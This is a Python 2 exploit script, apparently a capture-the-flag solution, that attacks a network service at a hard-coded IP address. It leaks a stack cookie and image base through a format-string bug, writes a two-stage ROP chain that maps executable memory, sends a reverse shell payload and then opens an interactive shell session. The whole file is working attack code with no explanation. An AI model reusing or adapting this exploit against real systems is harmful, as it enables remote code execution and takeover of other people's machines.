import os
import random
import sys
import struct
import socket
import telnetlib
import time

host = "109.233.61.11"
port = 3129

def read_until(s, text):
  buffer = ""
  while len(buffer) < len(text):
    buffer += s.recv(1)
  while buffer != text:
    buffer = buffer[1:] + s.recv(1)

##########################################################################
# Exploit start
##########################################################################

def push_data_with_nulls(s, data):
  chunks = data.split("\0")
  chunk_offsets = [0]

  if chunks[-1] == "":
    chunks = chunks[:-1]

  print "@@@ %u" % len(chunks)

  for i in range(1, len(chunks)):
    chunk_offsets.append(chunk_offsets[-1] + len(chunks[i - 1]) + 1)

  while len(chunks) > 0:
    read_until(s, "msg?\n")
    
    fmt = (("%%.%.10ux" % 0)) + chunks[-1]
    s.send((("%%.%.10ux" % (128 + len(fmt) + chunk_offsets[-1])) + chunks[-1]).rjust(128, " "))

    chunks = chunks[:-1]
    chunk_offsets = chunk_offsets[:-1]

def rop_load_ebx_ebp(base_address, ebx, ebp):
  return (struct.pack('I', base_address + 0x8b8) + # pop ebx; pop ebp
          struct.pack('I', ebx) +
          struct.pack('I', ebp))

def rop_load_ebp(base_address, ebp):
  return (struct.pack('I', base_address + 0x8b9) + # pop ebp
          struct.pack('I', ebp))

def rop_load_esp(base_address, esp):
  return (rop_load_ebp(base_address, esp) + 
          struct.pack('I', base_address + 0xc0a))    # leave

def rop_mmap(base_address, addr, length, prot, flags, fd, offset):
  return (rop_load_ebx_ebp(base_address, base_address + 0x1f98, 0xcccccccc) +
          struct.pack('I', base_address + 0x7d0) + # mmap() call
          struct.pack('I', base_address + 0x95f) + # shift stack by 0x1c bytes
          struct.pack('I', addr) +
          struct.pack('I', length) +
          struct.pack('I', prot) +
          struct.pack('I', flags) +
          struct.pack('I', fd) +
          struct.pack('I', offset) +
          struct.pack('I', 0xaabbccdd))            # padding for stack shift

def rop_read(base_address, fd, addr, length):
  return (rop_load_ebx_ebp(base_address, base_address + 0x1f98, 0xcccccccc) +
          struct.pack('I', base_address + 0x730) + # read() call
          struct.pack('I', base_address + 0x95f) + # shift stack by 0x1c bytes
          struct.pack('I', fd) +
          struct.pack('I', addr) +
          struct.pack('I', length) +
          "A" * 0x10)                              # padding for stack shift)

def rop(base_address, payload_len):
  return rop_mmap(base_address, 0x55555000, 0x1000, 0x7, 0x32, 0xffffffff, 0) +\
         rop_read(base_address, 0, 0x55555555, payload_len) +\
         struct.pack('I', 0x55555555)

# Connect to remote host
s = socket.socket()
s.connect((host, port))

# Authorize oneself.
s.send("letmein\n")

# Leak cookie.
read_until(s, "msg?\n")
s.send("%78$.8x%79$.8x".ljust(128, " "))

stack_cookie = struct.unpack('>I', s.recv(8).decode("hex"))[0]
base_address = struct.unpack('>I', s.recv(8).decode("hex"))[0] - 0xc10

print "[+] Cookie: %x, Image base: %x" % (stack_cookie, base_address)

# Push ROP chain on the stack.
raw_input("Ready? ")

# First, use read() to read more ROP to stack.
push_data_with_nulls(s, struct.pack('I', stack_cookie) +         # stack cookie
                        "A" * 12 +                               # padding
                        rop_read(base_address,
                                 0,
                                 base_address + 0x2100,          # writable section
                                 0x100) +                        # 256 bytes of ROP
                        rop_load_esp(base_address,
                                     base_address + 0x2100)
                     )

# Trigger return.
read_until(s, "msg?\n")
s.send("n".ljust(128, "\0"))

# Send second stage ROP.
s.send(("A" * 4 + rop(base_address, 0x100)).ljust(0x100, "\xcc"))

# Send reverse shell payload.
f = open("revshell", "rb")
payload = f.read()
f.close()

s.send(payload.ljust(0x100, "\xcc"))

# Give control to user
t = telnetlib.Telnet()
t.sock = s
t.interact()

